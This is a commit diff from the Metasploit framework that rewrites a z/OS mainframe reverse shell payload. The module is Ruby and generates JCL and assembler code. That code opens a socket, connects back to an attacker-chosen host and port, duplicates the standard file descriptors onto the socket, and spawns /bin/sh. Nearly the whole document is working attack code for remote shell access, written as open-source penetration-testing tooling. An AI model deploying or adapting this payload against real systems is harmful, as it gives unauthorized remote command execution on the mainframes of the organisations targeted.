Major rewrite and cleanup of reverse shell jcl
The shell does exactly the same as the previous, just made the code read much better so as to not severely anger the gray beards and other lesser mainframe deities. The only architectural change is the payload uses the spawn system call vs exec - this provides for a cleaner exit in some cases.bug/bundler_fix
bigendiansmalls
parent
40e6413867
commit
27a7b279f5
|
|
@ -14,7 +14,7 @@ require 'msf/base/sessions/mainframe_shell'
|
|||
require 'msf/base/sessions/command_shell_options'
|
||||
|
||||
module MetasploitModule
|
||||
CachedSize = 9048
|
||||
CachedSize = 9973
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Mainframe
|
||||
include Msf::Sessions::CommandShellOptions
|
||||
|
|
@ -82,186 +82,239 @@ module MetasploitModule
|
|||
|
||||
jcl_jobcard +
|
||||
"//**************************************/\n" \
|
||||
"//* Generates reverse shell */\n" \
|
||||
"//* SPAWN REV SHELL FOR MSF MODULE */\n" \
|
||||
"//**************************************/\n" \
|
||||
"//* final load module name here\n" \
|
||||
"//SET1 SET PGMN=SPAWNREV\n" \
|
||||
"//*\n" \
|
||||
"//STEP1 EXEC PROC=ASMACLG\n" \
|
||||
"//SYSPRINT DD SYSOUT=*,HOLD=YES\n" \
|
||||
"//SYSIN DD *,DLM=ZZ\n" \
|
||||
" TITLE 'z/os Reverse Shell'\n" \
|
||||
"NEWREV CSECT\n" \
|
||||
"NEWREV AMODE 31\n" \
|
||||
"NEWREV RMODE 31\n" \
|
||||
"//STEP1 EXEC PROC=ASMACLG,PARM.L=(CALL)\n" \
|
||||
"//L.SYSLIB DD DSN=SYS1.CSSLIB,DISP=SHR\n" \
|
||||
"//C.SYSIN DD *,DLM=ZZ\n" \
|
||||
" TITLE 'spaw rev shell non exec'\n" \
|
||||
"SPAWNREV CSECT\n" \
|
||||
"SPAWNREV AMODE 31\n" \
|
||||
"SPAWNREV RMODE ANY\n" \
|
||||
"***********************************************************************\n" \
|
||||
"* SETUP registers and save areas *\n" \
|
||||
"* @SETUP registers and save areas *\n" \
|
||||
"***********************************************************************\n" \
|
||||
"MAIN LR 7,15 # R7 is base register\n" \
|
||||
" NILH 7,X'1FFF' # ensure local address\n" \
|
||||
" USING MAIN,0 # R8 for addressability\n" \
|
||||
" USING *,15\n" \
|
||||
"@SETUP0 B @SETUP1\n" \
|
||||
" DROP 15\n" \
|
||||
" DS 0H # half word boundary\n" \
|
||||
"@SETUP1 STM 14,12,12(13) # save our registers\n" \
|
||||
" LR 2,13 # callers sa\n" \
|
||||
" LR 8,15 # pgm base in R8\n" \
|
||||
" USING @SETUP0,8 # R8 for base addressability\n" \
|
||||
"*************************************\n" \
|
||||
"* set up data area / addressability *\n" \
|
||||
"*************************************\n" \
|
||||
"*\n" \
|
||||
" L 0,@DYNSIZE # len of variable area\n" \
|
||||
" GETMAIN RU,LV=(0) # get data stg, len R0\n" \
|
||||
" LR 13,1 # data address\n" \
|
||||
" USING @DATA,13 # addressability for data area\n" \
|
||||
"* XC @DATA(@DATA#LEN),@DATA # zero data area\n" \
|
||||
" ST 2,@BACK # store callers sa address\n" \
|
||||
" ST 13,8(,2) # store our data addr\n" \
|
||||
"*************************************\n" \
|
||||
"* set up INHE area / addressability *\n" \
|
||||
"*************************************\n" \
|
||||
"*\n" \
|
||||
"* L 0,=A(INHE#LENGTH) # length of INHE macro\n" \
|
||||
"* GETMAIN RU,LV=(0) # get stg for inhe macro\n" \
|
||||
"* ST 1,@CONSA # save addr inhe macro stg\n" \
|
||||
"* LR 5,1 # R5 has INHE struct address\n" \
|
||||
"* USING INHE,5 # addressability for INHE\n" \
|
||||
" DS 0H # halfword boundaries\n" \
|
||||
" LA 1,ZEROES(7) # address byond which should be all 0s\n" \
|
||||
" XC 0(204,1),0(1) # clear zero area\n" \
|
||||
" LA 13,SAVEAREA(7) # address of save area\n" \
|
||||
" LHI 8,8 # R8 has static 8\n" \
|
||||
" LHI 9,1 # R9 has static 1\n" \
|
||||
" LHI 10,2 # R10 has static 2\n" \
|
||||
"***********************************************************************\n" \
|
||||
"* BPX1SOC set up socket - inline *\n" \
|
||||
"***********************************************************************\n" \
|
||||
" CALL BPX1SOC, X\n" \
|
||||
" (DOM,TYPE,PROTO,DIM,CLIFD, X\n" \
|
||||
" RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \
|
||||
"*******************************\n" \
|
||||
"* chk return code, 0 or exit *\n" \
|
||||
"*******************************\n" \
|
||||
" LHI 15,2\n" \
|
||||
" L 6,RTN_VAL\n" \
|
||||
" CIB 6,0,7,EXITP # R6 not 0? Time to exit\n" \
|
||||
"\n" \
|
||||
"***********************************************************************\n" \
|
||||
"* BPX1SOC set up socket *\n" \
|
||||
"* BPX1CON (connect) connect to remote host - inline *\n" \
|
||||
"***********************************************************************\n" \
|
||||
"BSOC LA 0,@@F1(7) # USS callable svcs socket\n" \
|
||||
" LA 3,8 # n parms\n" \
|
||||
" LA 5,DOM(7) # Relative addr of First parm\n" \
|
||||
" ST 10,DOM(7) # store a 2 for AF_INET\n" \
|
||||
" ST 9,TYPE(7) # store a 1 for sock_stream\n" \
|
||||
" ST 9,DIM(7) # store a 1 for dim_sock\n" \
|
||||
" LA 15,CLORUN(7) # address of generic load & run\n" \
|
||||
" BASR 14,15 # Branch to load & run\n" \
|
||||
"\n" \
|
||||
"***********************************************************************\n" \
|
||||
"* BPX1CON (connect) connect to rmt host *\n" \
|
||||
"***********************************************************************\n" \
|
||||
"BCON L 5,CLIFD(7) # address of client file descriptor\n" \
|
||||
" ST 5,CLIFD2(7) # store for connection call\n" \
|
||||
"*** main processing **\n" \
|
||||
" LA 1,SSTR(7) # packed socket string\n" \
|
||||
" LA 5,CLIFD2(7) # dest for our sock str\n" \
|
||||
" MVC 7(9,5),0(1) # mv packed skt str to parm array\n" \
|
||||
" LA 0,@@F2(7) # USS callable svcs connect\n" \
|
||||
" LA 3,6 # n parms for func call\n" \
|
||||
" LA 5,CLIFD2(7) # src parm list addr\n" \
|
||||
" LA 15,CLORUN(7) # address of generic load & run\n" \
|
||||
" BASR 14,15 # Branch to load & run\n" \
|
||||
" XC SOCKADDR(16),SOCKADDR # zero sock addr struct\n" \
|
||||
" MVI SOCK_FAMILY,AF_INET # family inet\n" \
|
||||
" MVI SOCK_LEN,SOCK#LEN # len of socket\n" \
|
||||
" MVC SOCK_SIN_PORT,CONNSOCK # port to connect to\n" \
|
||||
" MVC SOCK_SIN_ADDR,CONNADDR # address to connect to\n" \
|
||||
" CALL BPX1CON, X\n" \
|
||||
" (CLIFD,SOCKLEN,SOCKADDR, X\n" \
|
||||
" RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \
|
||||
"*******************************\n" \
|
||||
"* chk return code, 0 or exit *\n" \
|
||||
"*******************************\n" \
|
||||
" LHI 15,3\n" \
|
||||
" L 6,RTN_VAL\n" \
|
||||
" CIB 6,0,7,EXITP # R6 not 0? Time to exit\n" \
|
||||
"\n" \
|
||||
"*************************************************\n" \
|
||||
"* Preparte the child pid we'll spawn *\n" \
|
||||
"* order of things to prep child pid *\n" \
|
||||
"* 0) Dupe all 3 file desc of CLIFD *\n" \
|
||||
"* 1) dupe parent read fd to std input *\n" \
|
||||
"*************************************************\n" \
|
||||
" LHI 11,2 # Loop Counter R11=2\n" \
|
||||
"@LOOP1 BRC 15,LFCNTL # call FCNTL for each FD(in,out,err)\n" \
|
||||
"@RET1 AHI 11,-1 # Decrement R11\n" \
|
||||
" CIJ 11,-1,7,@LOOP1 # if R11 >= 0, loop\n" \
|
||||
"*******************\n" \
|
||||
"***** STDIN *****\n" \
|
||||
"*******************\n" \
|
||||
" CALL BPX1FCT, X\n" \
|
||||
" (CLIFD, X\n" \
|
||||
" =A(F_DUPFD2), X\n" \
|
||||
" =A(F_STDI), X\n" \
|
||||
" RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \
|
||||
"****************************************************\n" \
|
||||
"* chk return code here anything but -1 is ok *\n" \
|
||||
"****************************************************\n" \
|
||||
" LHI 15,11 # exit code for this func\n" \
|
||||
" L 7,RTN_VAL # set r7 to rtn val\n" \
|
||||
" CIB 7,-1,8,EXITP # r6 = -1 exit\n" \
|
||||
"*******************\n" \
|
||||
"***** STDOUT *****\n" \
|
||||
"*******************\n" \
|
||||
" CALL BPX1FCT, X\n" \
|
||||
" (CLIFD, X\n" \
|
||||
" =A(F_DUPFD2), X\n" \
|
||||
" =A(F_STDO), X\n" \
|
||||
" RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \
|
||||
"****************************************************\n" \
|
||||
"* chk return code here anything but -1 is ok *\n" \
|
||||
"****************************************************\n" \
|
||||
" LHI 15,11 # exit code for this func\n" \
|
||||
" L 7,RTN_VAL # set r7 to rtn val\n" \
|
||||
" CIB 7,-1,8,EXITP # r6 = -1 exit\n" \
|
||||
"*******************\n" \
|
||||
"***** STDERR *****\n" \
|
||||
"*******************\n" \
|
||||
" CALL BPX1FCT, X\n" \
|
||||
" (CLIFD, X\n" \
|
||||
" =A(F_DUPFD2), X\n" \
|
||||
" =A(F_STDE), X\n" \
|
||||
" RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \
|
||||
"****************************************************\n" \
|
||||
"* chk return code here anything but -1 is ok *\n" \
|
||||
"****************************************************\n" \
|
||||
" LHI 15,11 # exit code for this func\n" \
|
||||
" L 7,RTN_VAL # set r7 to rtn val\n" \
|
||||
" CIB 7,-1,8,EXITP # r7 = -1 exit\n" \
|
||||
"***********************************************************************\n" \
|
||||
"* BP1SPN (SPAWN) execute shell '/bin/sh' *\n" \
|
||||
"***********************************************************************\n" \
|
||||
"******\n" \
|
||||
"******\n" \
|
||||
" XC INHE(INHE#LENGTH),INHE # clear inhe structure\n" \
|
||||
" XI INHEFLAGS0,INHESETPGROUP\n" \
|
||||
" SPACE ,\n" \
|
||||
" MVC INHEEYE,=C'INHE'\n" \
|
||||
" LH 0,TLEN\n" \
|
||||
" STH 0,INHELENGTH\n" \
|
||||
" LH 0,TVER\n" \
|
||||
" STH 0,INHEVERSION\n" \
|
||||
" CALL BPX1SPN, X\n" \
|
||||
" (EXCMDL,EXCMD,EXARGC,EXARGLL,EXARGL,EXENVC,EXENVLL, X\n" \
|
||||
" EXENVL,FDCNT,FDLST,=A(INHE#LENGTH),INHE,RTN_VAL, X\n" \
|
||||
" RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \
|
||||
" LHI 15,12 # exit code for this func\n" \
|
||||
" L 7,RTN_VAL # set r7 to rtn val\n" \
|
||||
" L 6,RTN_COD\n" \
|
||||
" L 5,RSN_COD\n" \
|
||||
" CIB 7,-1,8,EXITP # r7 = -1 exit\n" \
|
||||
"\n" \
|
||||
"***********************************************************************\n" \
|
||||
"* BPX1EXC (exec) execute /bin/sh *\n" \
|
||||
"***********************************************************************\n" \
|
||||
"LEXEC LA 1,EXCPRM1(7) # top of arg list\n" \
|
||||
"******************************************\n" \
|
||||
"**** load array of addr and constants ***\n" \
|
||||
"******************************************\n" \
|
||||
" ST 10,EXARG1L(7) # arg 1 len is 2\n" \
|
||||
" LA 2,EXARG1L(7) # addr of len of arg1\n" \
|
||||
" ST 2,16(0,1) # arg4 Addr of Arg Len Addrs\n" \
|
||||
" LA 2,EXARG1(7) # addr of arg1\n" \
|
||||
" ST 2,20(0,1) # arg5 Addr of Arg Addrs\n" \
|
||||
" ST 9,EXARGC(7) # store 1 in ARG Count\n" \
|
||||
"**************************************************************\n" \
|
||||
"*** call the exec function the normal way ********************\n" \
|
||||
"**************************************************************\n" \
|
||||
" LA 0,@@EX1(7) # USS callable svcs EXEC\n" \
|
||||
" LA 3,13 # n parms\n" \
|
||||
" LA 5,EXCPRM1(7) # src parm list addr\n" \
|
||||
" LA 15,CLORUN(7) # address of generic load & run\n" \
|
||||
" BASR 14,15 # Branch to load & run\n" \
|
||||
"****************************************************\n" \
|
||||
"* cleanup & exit *\n" \
|
||||
"* preload R15 with exit code *\n" \
|
||||
"****************************************************\n" \
|
||||
"GOODX XR 15,15 # 4 FOR rc\n" \
|
||||
"* L 0,=A(INHE#LENGTH)\n" \
|
||||
"* L 5,@INHEA\n" \
|
||||
"* DROP 5\n" \
|
||||
"* FREEMAIN RU,LV=(0),A=(5) #free storage\n" \
|
||||
"EXITP L 0,@DYNSIZE\n" \
|
||||
" LR 1,13\n" \
|
||||
" L 13,@BACK\n" \
|
||||
" DROP 13\n" \
|
||||
" FREEMAIN RU,LV=(0),A=(1) #free storage\n" \
|
||||
" XR 15,15\n" \
|
||||
" L 14,12(,13) # load R14\n" \
|
||||
" LM 0,12,20(13) # load 0-12\n" \
|
||||
" BSM 0,14 # branch to caller\n" \
|
||||
"\n" \
|
||||
"***********************************************************************\n" \
|
||||
"*** BPX1FCT (fnctl) Edit our file descriptor **************************\n" \
|
||||
"***********************************************************************\n" \
|
||||
"LFCNTL LA 0,@@FC1(7) # USS callable svcs FNCTL\n" \
|
||||
" ST 8,@ACT(7) # 8 is our dupe2 action\n" \
|
||||
" L 5,CLIFD(7) # client file descriptor\n" \
|
||||
" ST 5,@FFD(7) # store as fnctl argument\n" \
|
||||
" ST 11,@ARG(7) # fd to clone\n" \
|
||||
" LA 3,6 # n parms\n" \
|
||||
" LA 5,@FFD(7) # src parm list addr\n" \
|
||||
" LA 15,CLORUN(7) # address of generic load & run\n" \
|
||||
" BASR 14,15 # Branch to load & run\n" \
|
||||
" BRC 15,@RET1 # Return to caller\n" \
|
||||
"\n" \
|
||||
"***********************************************************************\n" \
|
||||
"* LOAD and run R0=func name, R3=n parms *\n" \
|
||||
"* R5 = src parm list *\n" \
|
||||
"***********************************************************************\n" \
|
||||
"CLORUN ST 14,8(,13) # store ret address\n" \
|
||||
" XR 1,1 # zero R1\n" \
|
||||
" SVC 8 # get func call addr for R0\n" \
|
||||
" ST 0,12(13) # Store returned addr in our SA\n" \
|
||||
" L 15,12(13) # Load func addr into R15\n" \
|
||||
" LHI 6,20 # offset from SA of first parm\n" \
|
||||
" LA 1,0(6,13) # start of dest parm list\n" \
|
||||
"@LOOP2 ST 5,0(6,13) # store parms address in parm\n" \
|
||||
" AHI 3,-1 # decrement # parm\n" \
|
||||
" CIJ 3,11,8,@FIX # haky fix for EXEC func\n" \
|
||||
"@RETX AHI 6,4 # increment dest parm addr\n" \
|
||||
" AHI 5,4 # increment src parm addr\n" \
|
||||
" CIJ 3,0,7,@LOOP2 # loop until R3 = 0\n" \
|
||||
" LA 5,0(6,13)\n" \
|
||||
" AHI 5,-4\n" \
|
||||
" OI 0(5),X'80' # last parm first bit high\n" \
|
||||
"@FIN1 BALR 14,15 # call function\n" \
|
||||
" L 14,8(,13) # set up return address\n" \
|
||||
" BCR 15,14 # return to caller\n" \
|
||||
"@FIX AHI 5,4 # need extra byte skipped for exec\n" \
|
||||
" BRC 15,@RETX\n" \
|
||||
"\n" \
|
||||
"***********************************************************************\n" \
|
||||
"* Arg Arrays, Constants and Save Area *\n" \
|
||||
"***********************************************************************\n" \
|
||||
" DS 0F\n" \
|
||||
"**********************\n" \
|
||||
"* *\n" \
|
||||
"* Constant Sections *\n" \
|
||||
"* *\n" \
|
||||
"**********************\n" \
|
||||
" DS 0F # constants full word boundary\n" \
|
||||
"F_STDI EQU 0\n" \
|
||||
"F_STDO EQU 1\n" \
|
||||
"F_STDE EQU 2\n" \
|
||||
"*************************\n" \
|
||||
"**** Func Names ****\n" \
|
||||
"* Socket conn variables * # functions used by pgm\n" \
|
||||
"*************************\n" \
|
||||
"@@F1 DC CL8'BPX1SOC '\n" \
|
||||
"@@F2 DC CL8'BPX1CON '\n" \
|
||||
"@@EX1 DC CL8'BPX1EXC ' # callable svcs name\n" \
|
||||
"@@FC1 DC CL8'BPX1FCT '\n" \
|
||||
"* # BPX1EXC Constants\n" \
|
||||
"EXARG1 DC CL2'sh' # arg 1 to exec\n" \
|
||||
"* # BPX1CON Constants\n" \
|
||||
"SSTR DC X'100202#{lport}#{lhost}'\n" \
|
||||
"* # BPX1EXC Arguments\n" \
|
||||
"EXCPRM1 DS 0F # actual parm list of exec call\n" \
|
||||
"EXCMDL DC F'7' # len of cmd to exec\n" \
|
||||
"CONNSOCK DC XL2'#{lport}' # LPORT\n" \
|
||||
"CONNADDR DC XL4'#{lhost}' # LHOST\n" \
|
||||
"BACKLOG DC F'1' # 1 byte backlog\n" \
|
||||
"DOM DC A(AF_INET) # AF_INET = 2\n" \
|
||||
"TYPE DC A(SOCK#_STREAM) # stream = 1\n" \
|
||||
"PROTO DC A(IPPROTO_IP) # ip = 0\n" \
|
||||
"DIM DC A(SOCK#DIM_SOCKET) # dim_sock = 1\n" \
|
||||
"SOCKLEN DC A(SOCK#LEN+SOCK_SIN#LEN)\n" \
|
||||
"************************\n" \
|
||||
"* BPX1SPN vars *********\n" \
|
||||
"************************\n" \
|
||||
"EXCMD DC CL7'/bin/sh' # command to exec\n" \
|
||||
"*********************************************************************\n" \
|
||||
"******* Below this line is filled in runtime, but at compile ********\n" \
|
||||
"******* is all zeroes, so it can be dropped from the shell- *********\n" \
|
||||
"******* code as it will be dynamically added back and the ***********\n" \
|
||||
"******* offsets are already calulated in the code *******************\n" \
|
||||
"*********************************************************************\n" \
|
||||
"ZEROES DS 0F # 51 4 byte slots\n" \
|
||||
"EXARGC DC F'0' # num of arguments\n" \
|
||||
"EXARGS DC 10XL4'00000000' # reminaing exec args\n" \
|
||||
"EXARG1L DC F'0' # arg1 length\n" \
|
||||
"* # BPX1FCT Arguments\n" \
|
||||
"@FFD DC F'0' # file descriptor\n" \
|
||||
"@ACT DC F'0' # fnctl action\n" \
|
||||
"@ARG DC F'0' # argument to fnctl\n" \
|
||||
"@RETFD DC F'0' # fd return\n" \
|
||||
"FR1 DC F'0' # rtn code\n" \
|
||||
"FR2 DC F'0' # rsn code\n" \
|
||||
"* # BPX1SOC Arguments\n" \
|
||||
"DOM DC F'0' # AF_INET = 2\n" \
|
||||
"TYPE DC F'0' # sock stream = 1\n" \
|
||||
"PROTO DC F'0' # protocol ip = 0\n" \
|
||||
"DIM DC F'0' # dim_sock = 1\n" \
|
||||
"CLIFD DC F'0' # client file descriptor\n" \
|
||||
"SR1 DC F'0' # rtn val\n" \
|
||||
"SR2 DC F'0' # rtn code\n" \
|
||||
"SR3 DC F'0' # rsn code\n" \
|
||||
"* # BPX1CON Arguments\n" \
|
||||
"CLIFD2 DC F'0' # CLIFD\n" \
|
||||
"SOCKLEN DC F'0' # length of Sock Struct\n" \
|
||||
"SRVSKT DC XL2'0000' # srv socket struct\n" \
|
||||
" DC XL2'0000' # port\n" \
|
||||
" DC XL4'00000000' # RHOST 0.0.0.0\n" \
|
||||
"CR1 DC F'0' # rtn val\n" \
|
||||
"CR2 DC F'0' # rtn code\n" \
|
||||
"CR3 DC F'0' # rsn code\n" \
|
||||
"SAVEAREA DC 18XL4'00000000' # save area for pgm mgmt\n" \
|
||||
"EOFMARK DC X'deadbeef' # eopgm marker for shellcode\n" \
|
||||
" END MAIN\n" \
|
||||
"EXCMDL DC A(L'EXCMD) # len of cmd to exec\n" \
|
||||
"EXARGC DC F'1' # num of arguments\n" \
|
||||
"EXARG1 DC CL2'sh' # arg 1 to exec\n" \
|
||||
"EXARG1L DC A(L'EXARG1) # len of arg1\n" \
|
||||
"EXARGL DC A(EXARG1) # addr of argument list\n" \
|
||||
"EXARGLL DC A(EXARG1L) # addr of arg len list\n" \
|
||||
"EXENVC DC F'0' # env var count\n" \
|
||||
"EXENVL DC F'0' # env var arg list addr\n" \
|
||||
"EXENVLL DC F'0' # env var arg len addr\n" \
|
||||
"EXITRA DC F'0' # exit routine addr\n" \
|
||||
"EXITPLA DC F'0' # exit rout parm list addr\n" \
|
||||
"FDCNT DC F'0' # field count s/b 0\n" \
|
||||
"FDLST DC F'0' # field list addr s/b 0\n" \
|
||||
"MYLEN DC F'0'\n" \
|
||||
"TVER DC AL2(INHE#VER)\n" \
|
||||
"TLEN DC AL2(INHE#LENGTH)\n" \
|
||||
" SPACE ,\n" \
|
||||
"@DYNSIZE DC A(@ENDYN-@DATA)\n" \
|
||||
"***************************\n" \
|
||||
"***** end of constants ****\n" \
|
||||
"***************************\n" \
|
||||
"@DATA DSECT ,\n" \
|
||||
" DS 0D\n" \
|
||||
"PLIST DS 16A\n" \
|
||||
"RTN_VAL DS F # return value\n" \
|
||||
"RTN_COD DS F # return code\n" \
|
||||
"RSN_COD DS F # reason code\n" \
|
||||
"CLIFD DS F # client fd\n" \
|
||||
"*********************\n" \
|
||||
"* Return value vars *\n" \
|
||||
"*********************\n" \
|
||||
"@SAVE00 DS 0D\n" \
|
||||
" DS A\n" \
|
||||
"@BACK DS A\n" \
|
||||
"@FORWARD DS A\n" \
|
||||
" DS 15A\n" \
|
||||
"@INHEA DS A\n" \
|
||||
"*\n" \
|
||||
" BPXYSOCK LIST=NO,DSECT=NO\n" \
|
||||
" BPXYFCTL LIST=NO,DSECT=NO\n" \
|
||||
" BPXYINHE LIST=NO,DSECT=NO\n" \
|
||||
"@ENDYN EQU *\n" \
|
||||
"@DATA#LEN EQU *-@DATA\n" \
|
||||
" BPXYCONS LIST=YES\n" \
|
||||
" END SPAWNREV\n" \
|
||||
"ZZ\n" \
|
||||
"//*\n"
|
||||
end
|
||||
|
|
|
|||
Loading…
Reference in New Issue